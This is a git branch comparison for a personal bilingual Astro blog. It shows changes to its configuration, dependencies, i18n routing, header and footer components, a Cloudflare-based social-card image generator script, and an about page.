Compare commits

..

No commits in common. "main" and "ui-redesign" have entirely different histories.

84 changed files with 314 additions and 1816 deletions

View file

@ -1,3 +0,0 @@
# Cloudflare Browser Run credentials for `npm run og` (copy to .env)
CF_ACCOUNT_ID=
CF_API_TOKEN=

3
.gitignore vendored
View file

@ -22,6 +22,3 @@ pnpm-debug.log*
# jetbrains setting folder
.idea/
# vercel build output (generated by the adapter)
.vercel/

View file

@ -1,6 +1,6 @@
# gabeefran.co
Personal blog of Gabriel Franco (gabeefranco). Built with Astro, TypeScript, MDX, React, and Tailwind CSS. Bilingual (English / Portuguese): every page lives under `/en/*` or `/pt/*` (see `src/lib/i18n.ts`).
Personal blog of Gabriel Franco (gabeefranco). Built with Astro, TypeScript, MDX, React, and Tailwind CSS. Bilingual (English / Portuguese) via Astro's built-in i18n routing.
## Structure
@ -10,18 +10,14 @@ Personal blog of Gabriel Franco (gabeefranco). Built with Astro, TypeScript, MDX
├── src/
│ ├── components/ Astro + React components (Header, PostCard, ObservationCard, ...)
│ ├── content/posts/en/*.mdx English posts
│ ├── content/posts/pt/*.mdx Portuguese posts (same filename = translation of each other)
│ ├── content/posts/pt/*.mdx Portuguese posts (same filename pairs a translation)
│ ├── layouts/ BaseLayout, PostLayout
│ ├── lib/ i18n dictionary + post helpers
│ └── pages/[lang]/ routes for every language ("/" redirects to "/en")
│ └── pages/ routes: "/" is English (default locale), "/pt/*" is Portuguese
└── astro.config.mjs
```
A post and its translation share a **filename** — `src/content/posts/en/<file>.mdx` and `src/content/posts/pt/<file>.mdx` — which is how they're paired. The URL comes from the `slug` frontmatter field, so each language has its own: `en/hello-world.mdx` with `slug: "hello-world"` is served at `/en/posts/hello-world`, and `pt/hello-world.mdx` with `slug: "ola-mundo"` at `/pt/posts/ola-mundo`. The filename never shows up in a URL.
The language switcher, `hreflang` links, RSS feeds and sitemap all follow each post's own slug. A post can exist in only one language; its switcher then goes to the other language's home page. Social cards are named after the slug, so run `npm run og` after adding or renaming one.
Changing the slug of a published post breaks its old URL, so add a redirect for it in `astro.config.mjs`.
Every post exists as two files with the same slug — `src/content/posts/en/<slug>.mdx` and `src/content/posts/pt/<slug>.mdx` — so the language switcher can always land on the matching translation.
## Commands

View file

@ -1,74 +1,30 @@
// @ts-check
import { defineConfig, fontProviders } from 'astro/config';
import { defineConfig } from 'astro/config';
import react from '@astrojs/react';
import mdx from '@astrojs/mdx';
import sitemap from '@astrojs/sitemap'
import tailwindcss from '@tailwindcss/vite';
import vercel from '@astrojs/vercel';
import { postPath } from './src/lib/i18n.ts';
import { readPostFiles } from './src/lib/post-files.ts';
// English used to be served without a /en prefix. Every URL published before
// the move keeps working through a 301; new pages only ever existed under /en.
// (Astro can't express this as a dynamic redirect in a static build: the
// destination must be an existing route with the same params.)
const LEGACY_EN_PATHS = [
'/about',
'/posts',
'/posts/hello-world',
'/posts/spotify-complaining',
'/posts/understanding-plugin4shell-git-trick-ai-coding-agents',
'/tags/ai',
'/tags/blogging',
'/tags/cybersecurity',
'/tags/git',
'/tags/life',
'/tags/meta',
'/tags/software',
'/feed.xml',
];
// Draft posts still get a page (reachable by URL) but stay out of the sitemap.
// This runs before content collections exist, so read the frontmatter directly.
const DRAFT_PATHS = readPostFiles()
.filter((post) => post.draft)
.map((post) => `${postPath(post.lang, post.slug)}/`);
// https://astro.build/config
export default defineConfig({
site: 'https://gabeefran.co',
redirects: {
...Object.fromEntries(LEGACY_EN_PATHS.map((path) => [path, path === '/' ? '/en' : `/en${path}`])),
// The Portuguese about page used to share the English slug.
'/pt/about': '/pt/sobre',
i18n: {
defaultLocale: 'en',
locales: ['en', 'pt'],
routing: {
prefixDefaultLocale: false,
},
},
integrations: [react(), mdx(), sitemap({ filter: (page) => !DRAFT_PATHS.some((path) => page.endsWith(path)) })],
integrations: [react(), mdx()],
adapter: vercel({
webAnalytics: { enabled: false },
webAnalytics: { enabled: true },
}),
vite: {
plugins: [tailwindcss()],
},
fonts: [
{
provider: fontProviders.local(),
name: "iA Writer Duo S",
cssVariable: "--font-iawriter",
options: {
variants: [
{
src: ['./src/assets/iAWriterDuoS-Regular.woff2'],
weight: 'normal',
style: 'normal'
}
]
}
}
]
});

192
package-lock.json generated
View file

@ -11,8 +11,6 @@
"@astrojs/markdown-satteri": "^0.4.0",
"@astrojs/mdx": "^8.0.0",
"@astrojs/react": "^6.0.5",
"@astrojs/rss": "^4.0.19",
"@astrojs/sitemap": "^3.7.4",
"@astrojs/vercel": "^11.0.9",
"@tailwindcss/vite": "^4.3.3",
"@types/react": "^19.2.18",
@ -291,27 +289,6 @@
"react-dom": "^17.0.2 || ^18.0.0 || ^19.0.0"
}
},
"node_modules/@astrojs/rss": {
"version": "4.0.19",
"resolved": "https://registry.npmjs.org/@astrojs/rss/-/rss-4.0.19.tgz",
"integrity": "sha512-e+z5wYeYtffQdHQO8c2tkSd2JEBdAuRXJV4ZEU5IxkYeE6e39woDd7nw1PH1Kk2tEYNCYuKdylnnbhGmt61awA==",
"license": "MIT",
"dependencies": {
"fast-xml-parser": "^5.5.7",
"piccolore": "^0.1.3",
"zod": "^4.3.6"
}
},
"node_modules/@astrojs/sitemap": {
"version": "3.7.4",
"resolved": "https://registry.npmjs.org/@astrojs/sitemap/-/sitemap-3.7.4.tgz",
"integrity": "sha512-LbKNC24bdUWcQf/pThB6qLlSqHojxGjZDURIzFocY8rlWnAn2t74nnhnK6S5x0NHriHoAduLEpVjRykmeGiVvA==",
"license": "MIT",
"dependencies": {
"sitemap": "^9.0.0",
"zod": "^4.3.6"
}
},
"node_modules/@astrojs/telemetry": {
"version": "3.3.3",
"resolved": "https://registry.npmjs.org/@astrojs/telemetry/-/telemetry-3.3.3.tgz",
@ -1917,18 +1894,6 @@
"@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4"
}
},
"node_modules/@nodable/entities": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-3.1.0.tgz",
"integrity": "sha512-LsS/DjHr+uDM647Gru/cA8+J3a3HfhttwCKLyuoyN7yXTFCxKBtSgMQBvrW9yNPa2/zDRUNuGPaH5QUFoa4arQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/nodable"
}
],
"license": "MIT"
},
"node_modules/@oslojs/encoding": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/@oslojs/encoding/-/encoding-1.1.0.tgz",
@ -2933,15 +2898,6 @@
"@types/unist": "*"
}
},
"node_modules/@types/node": {
"version": "24.19.0",
"resolved": "https://registry.npmjs.org/@types/node/-/node-24.19.0.tgz",
"integrity": "sha512-zY+5tKxXdhGh1PYI0ac+7juvEu4OI6vWtVVoj5i2m42jxAY1U+zHGt6QCyOFwykdP62sM3MJ9stoYYUw5aCWew==",
"license": "MIT",
"dependencies": {
"undici-types": ">=7.24.0 <7.24.7"
}
},
"node_modules/@types/react": {
"version": "19.2.18",
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.18.tgz",
@ -2960,15 +2916,6 @@
"@types/react": "^19.2.0"
}
},
"node_modules/@types/sax": {
"version": "1.2.7",
"resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.7.tgz",
"integrity": "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==",
"license": "MIT",
"dependencies": {
"@types/node": "*"
}
},
"node_modules/@types/unist": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
@ -3208,24 +3155,6 @@
"url": "https://github.com/sponsors/jonschlinkert"
}
},
"node_modules/anynum": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.1.tgz",
"integrity": "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT"
},
"node_modules/arg": {
"version": "5.0.2",
"resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
"integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
"license": "MIT"
},
"node_modules/argparse": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
@ -4012,45 +3941,6 @@
"fast-string-width": "^3.0.2"
}
},
"node_modules/fast-xml-builder": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.3.1.tgz",
"integrity": "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT",
"dependencies": {
"path-expression-matcher": "^1.6.2",
"xml-naming": "^0.3.0"
}
},
"node_modules/fast-xml-parser": {
"version": "5.11.2",
"resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.11.2.tgz",
"integrity": "sha512-R9iDuNrQYeQut46cn2r2wHKn4HYzVDvDm5J1wW+koZewykv0yuO2HChTYeZtrULyHIDM9cj9TUXloCsueCQUog==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT",
"dependencies": {
"@nodable/entities": "^3.0.1",
"fast-xml-builder": "^1.2.0",
"is-unsafe": "^2.0.0",
"path-expression-matcher": "^1.6.2",
"strnum": "^2.4.2",
"xml-naming": "^0.3.0"
},
"bin": {
"fxparser": "src/cli/cli.js"
}
},
"node_modules/fdir": {
"version": "6.5.0",
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
@ -4337,18 +4227,6 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/is-unsafe": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.2.tgz",
"integrity": "sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT"
},
"node_modules/isexe": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
@ -5158,21 +5036,6 @@
"integrity": "sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==",
"license": "MIT"
},
"node_modules/path-expression-matcher": {
"version": "1.6.2",
"resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.6.2.tgz",
"integrity": "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT",
"engines": {
"node": ">=14.0.0"
}
},
"node_modules/path-key": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
@ -5606,25 +5469,6 @@
"integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
"license": "MIT"
},
"node_modules/sitemap": {
"version": "9.0.1",
"resolved": "https://registry.npmjs.org/sitemap/-/sitemap-9.0.1.tgz",
"integrity": "sha512-S6hzjGJSG3d6if0YoF5kTyeRJvia6FSTBroE5fQ0bu1QNxyJqhhinfUsXi9fH3MgtXODWvwo2BDyQSnhPQ88uQ==",
"license": "MIT",
"dependencies": {
"@types/node": "^24.9.2",
"@types/sax": "^1.2.1",
"arg": "^5.0.0",
"sax": "^1.4.1"
},
"bin": {
"sitemap": "dist/esm/cli.js"
},
"engines": {
"node": ">=20.19.5",
"npm": ">=10.8.2"
}
},
"node_modules/smol-toml": {
"version": "1.8.0",
"resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz",
@ -5679,21 +5523,6 @@
"node": ">=6"
}
},
"node_modules/strnum": {
"version": "2.4.2",
"resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.2.tgz",
"integrity": "sha512-rDG3Ah4TV0k1hWvLSzkZtMmLN9+eS+h3knq4MP6A42Y3Yh5qGNnOUs1jJkoSr8FG5dsL28c7KgkIBzSEykqtuw==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT",
"dependencies": {
"anynum": "^1.0.1"
}
},
"node_modules/svgo": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/svgo/-/svgo-4.1.0.tgz",
@ -5863,12 +5692,6 @@
"node": ">=22.19.0"
}
},
"node_modules/undici-types": {
"version": "7.24.6",
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz",
"integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==",
"license": "MIT"
},
"node_modules/unified": {
"version": "11.0.5",
"resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",
@ -6290,21 +6113,6 @@
"node": ">= 6.0"
}
},
"node_modules/xml-naming": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.3.0.tgz",
"integrity": "sha512-ghig2TBE/H11aOVgmahA3MhimvkBr6JIYknH/Dhdk10nXwdbIqBJsbfMxpvFPG8bAw77gN29aQWvKpmVoPlvPQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"license": "MIT",
"engines": {
"node": ">=16.0.0"
}
},
"node_modules/xxhash-wasm": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/xxhash-wasm/-/xxhash-wasm-1.1.0.tgz",

View file

@ -9,15 +9,12 @@
"dev": "astro dev",
"build": "astro build",
"preview": "astro preview",
"astro": "astro",
"og": "node --env-file-if-exists=.env scripts/generate-social-cards.ts"
"astro": "astro"
},
"dependencies": {
"@astrojs/markdown-satteri": "^0.4.0",
"@astrojs/mdx": "^8.0.0",
"@astrojs/react": "^6.0.5",
"@astrojs/rss": "^4.0.19",
"@astrojs/sitemap": "^3.7.4",
"@astrojs/vercel": "^11.0.9",
"@tailwindcss/vite": "^4.3.3",
"@types/react": "^19.2.18",

View file

@ -1,4 +0,0 @@
User-agent: *
Allow: /
Sitemap: https://gabeefran.co/sitemap-index.xml

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 85 KiB

View file

@ -1,128 +0,0 @@
// Generates OG images for every post and every other page (home, posts,
// about, tags, 404) using Cloudflare Browser Run.
// Adapted from https://developers.cloudflare.com/browser-run/how-to/og-images-astro/
//
// Usage: npm run og (only missing images)
// npm run og -- --force (regenerate all)
//
// Needs CF_ACCOUNT_ID and CF_API_TOKEN (read from .env), and the
// /social-card and /page-card routes must be deployed at BASE_URL.
import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { LANGS, pageMeta, tagPageMeta, type Lang, type PageKey } from '../src/lib/i18n.ts';
import { readAboutFiles, readPostFiles, type PostFile } from '../src/lib/post-files.ts';
import { aboutCardPath, pageCardPath, postCardPath, tagCardPath } from '../src/lib/social-cards.ts';
const BASE_URL = process.env.SOCIAL_CARD_BASE_URL ?? 'https://gabeefran.co';
const CF_API = 'https://api.cloudflare.com/client/v4/accounts';
// 404.html is prerendered once, in English (see src/pages/404.astro).
// The about page is missing here: it comes from src/content/about/<lang>.mdx.
const LANG_PAGES: Record<Lang, PageKey[]> = {
en: ['home', 'posts', '404'],
pt: ['home', 'posts'],
};
interface Card {
/** Path under public/, e.g. /social-cards/en/hello-world.png */
path: string;
/** Card template route: /social-card for posts, /page-card for everything else. */
route: '/social-card' | '/page-card';
params: Record<string, string>;
}
function listCards(posts: PostFile[]): Card[] {
const postCards: Card[] = posts.map((post) => {
const params: Record<string, string> = { title: post.title, author: 'Gabriel Franco' };
if (post.description) params.description = post.description;
return { path: postCardPath(post.lang, post.slug), route: '/social-card', params };
});
const pageCards: Card[] = LANGS.flatMap((lang) => {
const pages = LANG_PAGES[lang].map((key) => ({ path: pageCardPath(lang, key), meta: pageMeta(lang, key) }));
const aboutPages = readAboutFiles()
.filter((about) => about.lang === lang)
.map(({ slug, title, description }) => ({ path: aboutCardPath(lang, slug), meta: { title, description } }));
const tags = [...new Set(posts.filter((p) => p.lang === lang).flatMap((p) => p.tags))].sort();
const tagPages = tags.map((tag) => ({ path: tagCardPath(lang, tag), meta: tagPageMeta(lang, tag) }));
return [...pages, ...aboutPages, ...tagPages].map(({ path, meta }) => ({
path,
route: '/page-card' as const,
params: { title: meta.title, description: meta.description },
}));
});
return [...postCards, ...pageCards];
}
async function captureScreenshot(accountId: string, apiToken: string, pageUrl: string): Promise<ArrayBuffer> {
const res = await fetch(`${CF_API}/${accountId}/browser-run/screenshot`, {
method: 'POST',
headers: {
Authorization: `Bearer ${apiToken}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({
url: pageUrl,
viewport: { width: 1200, height: 630 },
gotoOptions: { waitUntil: 'networkidle0' },
}),
});
if (!res.ok) {
throw new Error(`Screenshot API returned ${res.status}: ${await res.text()}`);
}
return res.arrayBuffer();
}
async function main() {
const accountId = process.env.CF_ACCOUNT_ID;
const apiToken = process.env.CF_API_TOKEN;
if (!accountId || !apiToken) {
console.error('Error: CF_ACCOUNT_ID and CF_API_TOKEN required (put them in .env)');
process.exit(1);
}
const force = process.argv.includes('--force');
const cards = listCards(readPostFiles().filter((post) => !post.draft));
console.log(`Found ${cards.length} cards to process\n`);
let generated = 0;
let skipped = 0;
let failed = 0;
for (let i = 0; i < cards.length; i++) {
const card = cards[i];
const outPath = join('public', card.path);
const name = card.path.replace(/^\/social-cards\//, '');
const label = `[${i + 1}/${cards.length}]`;
if (!force && existsSync(outPath)) {
console.log(`${label} ${name} — skipped (exists)`);
skipped++;
continue;
}
const url = `${BASE_URL}${card.route}?${new URLSearchParams(card.params)}`;
try {
const png = await captureScreenshot(accountId, apiToken, url);
mkdirSync(dirname(outPath), { recursive: true });
writeFileSync(outPath, Buffer.from(png));
console.log(`${label} ${name} — done`);
generated++;
} catch (err) {
console.error(`${label} ${name} — failed:`, err);
failed++;
}
// Stay under Browser Run rate limits.
if (i < cards.length - 1) {
await new Promise((resolve) => setTimeout(resolve, 10000));
}
}
console.log(`\nDone. Generated: ${generated}, Skipped: ${skipped}, Failed: ${failed}`);
if (failed > 0) process.exit(1);
}
main();

View file

@ -11,53 +11,25 @@ const year = new Date().getFullYear();
---
<footer class="border-t border-border/80 font-mono">
<div class="mx-auto flex flex-col gap-2 px-4 py-8 items-center text-xs text-text-muted lg:flex-row lg:justify-center lg:px-6">
<div class="mx-auto flex max-w-3xl flex-col gap-2 px-4 py-8 text-sm text-text-muted sm:flex-row sm:items-center sm:justify-between sm:px-6">
<p>
&copy; {year} <span class="font-mono text-text">gabeefranco</span> &middot; {t('footer.rights')}
</p>
<div class="flex items-center gap-4">
<span class="hidden sm:inline">{t('footer.tagline')}</span>
<a
href="https://github.com/gabeefranco"
target="_blank"
rel="noopener noreferrer me"
class="text-primary hover:text-primary-hover underline"
data-umami-event="github-profile-footer-click"
class="transition-colors hover:text-primary"
>
GitHub
</a>
<a
href="https://linkedin.com/in/gabeefranco"
href="https://github.com/gabeefranco/gabeefran.co-blog"
target="_blank"
rel="noopener noreferrer"
class="text-primary hover:text-primary-hover underline"
data-umami-event="linkedin-footer-click"
>
LinkedIn
</a>
<a
href="https://x.com/gabeefranco_"
target="_blank"
rel="noopener noreferrer"
class="text-primary hover:text-primary-hover underline"
data-umami-event="twitter-footer-click"
>
X.com
</a>
<a
href="https://instagram.com/gabeefranco_"
target="_blank"
rel="noopener noreferrer"
class="text-primary hover:text-primary-hover underline"
data-umami-event="instagram-footer-click"
>
Instagram
</a>
<a
href="https://git.gabeefran.co/gabeefranco/gabeefran.co-blog"
target="_blank"
rel="noopener noreferrer"
class="text-primary hover:text-primary-hover underline"
data-umami-event="source-footer-click"
class="transition-colors hover:text-primary"
>
{t('footer.source')}
</a>

View file

@ -1,33 +1,29 @@
---
import ThemeToggle from './ThemeToggle.astro';
import { aboutPath } from '../lib/about';
import { getLocalizedPath, LANG_LABELS, useTranslations, type Lang } from '../lib/i18n';
interface Props {
lang: Lang;
/** See BaseLayout. */
alternates: Partial<Record<Lang, string>>;
}
const { lang, alternates } = Astro.props;
const { lang } = Astro.props;
const t = useTranslations(lang);
const otherLang: Lang = lang === 'en' ? 'pt' : 'en';
const pathname = Astro.url.pathname;
const homeHref = getLocalizedPath('/', lang);
const postsHref = getLocalizedPath('/posts', lang);
const aboutHref = await aboutPath(lang);
// Not everything is translated: fall back to the other language's home page.
const langSwitchHref = alternates[otherLang] ?? getLocalizedPath('/', otherLang);
const aboutHref = getLocalizedPath('/about', lang);
const langSwitchHref = getLocalizedPath(pathname, otherLang);
const navLinks = [
{ href: homeHref, label: t('nav.home'), id: 'home' },
{ href: postsHref, label: t('nav.posts'), id: 'posts' },
{ href: aboutHref, label: t('nav.about'), id: 'about' },
{ href: homeHref, label: t('nav.home') },
{ href: postsHref, label: t('nav.posts') },
{ href: aboutHref, label: t('nav.about') },
];
function isActive(href: string): boolean {
if (href === homeHref) return pathname.replace(/\/$/, '') === href;
if (href === homeHref) return pathname === href;
return pathname === href || pathname.startsWith(`${href}/`);
}
---
@ -35,8 +31,8 @@ function isActive(href: string): boolean {
<header class="sticky top-0 z-40 border-b border-border/80 bg-bg/85 backdrop-blur">
<div class="flex flex-col justify-center gap-4 px-4 py-3 sm:px-6">
<div class="flex flex-row justify-between items-center">
<a href={homeHref} class="flex hover:underline shrink-0 items-center gap-2.5" aria-label={t('site.name')} data-umami-event="logo-header-click">
<div class="flex flex-row justify-between items-end">
<a href={homeHref} class="flex hover:underline shrink-0 items-center gap-2.5" aria-label={t('site.name')}>
<img src="/logo.png" class="h-4"/>
<span class="font-mono text-[15px] font-semibold tracking-tight text-text">{t('site.name')}</span>
@ -47,7 +43,6 @@ function isActive(href: string): boolean {
hreflang={otherLang}
title={t('lang.switch')}
aria-label={`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
data-umami-event="switch-language-header-click"
class="text-accent max-w-fit font-mono text-xs sm:text-sm underline hover:cursor-pointer hover:text-accent-deep"
>
{`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
@ -68,7 +63,6 @@ function isActive(href: string): boolean {
? 'text-primary hover:text-primary-hover'
: 'text-text-muted hover:text-text',
]}
data-umami-event={`${link.id}-header-click`}
>
{link.label}
</a>
@ -79,7 +73,6 @@ function isActive(href: string): boolean {
hreflang={otherLang}
title={t('lang.switch')}
aria-label={`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
data-umami-event="switch-language-header-click"
class="text-accent max-w-fit py-1 font-mono text-xs sm:text-sm underline hover:cursor-pointer hover:text-accent-deep "
>
{`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
@ -101,7 +94,6 @@ function isActive(href: string): boolean {
? 'text-primary hover:text-primary-hover'
: 'text-text-muted hover:text-text',
]}
data-umami-event={`${link.id}-header-click`}
>
{link.label}
</a>

View file

@ -1,7 +1,6 @@
---
import PostCard from './PostCard.astro';
import { getPostsByLang } from '../lib/posts';
import { aboutPath } from '../lib/about';
import { getLocalizedPath, useTranslations, type Lang } from '../lib/i18n';
interface Props {
@ -13,7 +12,7 @@ const t = useTranslations(lang);
const posts = await getPostsByLang(lang);
const recentPosts = posts.slice(0, 3);
const postsHref = getLocalizedPath('/posts', lang);
const aboutHref = await aboutPath(lang);
const aboutHref = getLocalizedPath('/about', lang);
---
<section class="mx-10 my-10 flex flex-col gap-5 font-mono">

View file

@ -1,6 +1,6 @@
---
import type { PostEntry } from '../lib/posts';
import { formatDate, postHref } from '../lib/posts';
import { slugOf, formatDate } from '../lib/posts';
import { getLocalizedPath, type Lang } from '../lib/i18n';
interface Props {
@ -9,11 +9,11 @@ interface Props {
}
const { post, lang } = Astro.props;
const href = postHref(post);
const href = getLocalizedPath(`/posts/${slugOf(post)}`, lang);
const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
---
<article class="group border-b border-border py-6 first:pt-0 last:border-b-0 font-prose">
<article class="group border-b border-border py-6 first:pt-0 last:border-b-0 font-mono">
<a href={href} class="block">
<time datetime={post.data.pubDate.toISOString()} class="text-xs font-medium uppercase tracking-wide text-text-muted">
{formatDate(post.data.pubDate, lang)}

View file

@ -14,7 +14,6 @@ const t = useTranslations(lang);
type="button"
class="theme-toggle text-accent sm:ml-2 font-mono text-xs sm:text-sm underline hover:cursor-pointer hover:text-accent-deep"
aria-label={t('theme.switch')}
data-umami-event="toggle-theme-header-click"
title={t('theme.switch')}
>
{t('theme.switch')}

View file

@ -1,41 +1,19 @@
import { defineCollection, z } from 'astro:content';
import { glob } from 'astro/loaders';
// Posts live at src/content/posts/<lang>/<file>.mdx. The entry id is always
// that path ("<lang>/<file>"), never the frontmatter slug: the language comes
// from the folder, and a post and its translation share the same filename.
// The URL is /<lang>/posts/<slug>, so each translation picks its own slug.
// Each post lives twice: src/content/posts/en/<slug>.mdx and
// src/content/posts/pt/<slug>.mdx. The loader id is "<lang>/<slug>",
// which is how we pair up translations and derive routes.
const posts = defineCollection({
loader: glob({
pattern: '**/*.mdx',
base: './src/content/posts',
generateId: ({ entry }) => entry.replace(/\.mdx$/, ''),
}),
loader: glob({ pattern: '**/*.mdx', base: './src/content/posts' }),
schema: z.object({
title: z.string(),
description: z.string(),
language: z.enum(['en', 'pt']),
pubDate: z.coerce.date(),
slug: z.string(),
updatedDate: z.coerce.date().optional(),
tags: z.array(z.string()).default([]),
draft: z.boolean().default(false),
}),
});
// The about page, one file per language: src/content/about/<lang>.mdx. The
// entry id is the language; the URL is /<lang>/<slug>.
const about = defineCollection({
loader: glob({
pattern: '*.mdx',
base: './src/content/about',
generateId: ({ entry }) => entry.replace(/\.mdx$/, ''),
}),
schema: z.object({
title: z.string(),
description: z.string(),
slug: z.string(),
}),
});
export const collections = { posts, about };
export const collections = { posts };

View file

@ -1,13 +0,0 @@
---
title: "About"
slug: "about"
description: "Gabriel Franco: computer science student at PUCRS, interested in how software actually works and in the history of open source."
---
Hi, I'm Gabe — Gabriel Franco. I'm a computer science student at PUCRS (Pontifícia Universidade Católica do Rio Grande do Sul), and this blog is where I write down the things I'm learning and thinking about along the way.
I care a lot about computer science as a field, not just as a set of tools to ship products with. I have a fairly specific way of doing things: I'd rather understand a system properly than memorize the steps to make it work, and I tend to slow down on purpose to figure out what's actually happening under the hood — in a compiler, an operating system, a language runtime, whatever it is. That habit shapes most of what ends up on this blog.
I'm also genuinely interested in the history of the open source movement: the people, the arguments, and the decisions that shaped the software we all rely on. Figures like Linus Torvalds and projects like GNU come up often in what I read and write about, not as trivia, but because understanding where a tool came from usually explains a lot about how and why it works the way it does today.
This site is bilingual, in English and in Portuguese, and every post exists in both languages. Thanks for stopping by.

View file

@ -1,13 +0,0 @@
---
title: "Sobre"
slug: "sobre"
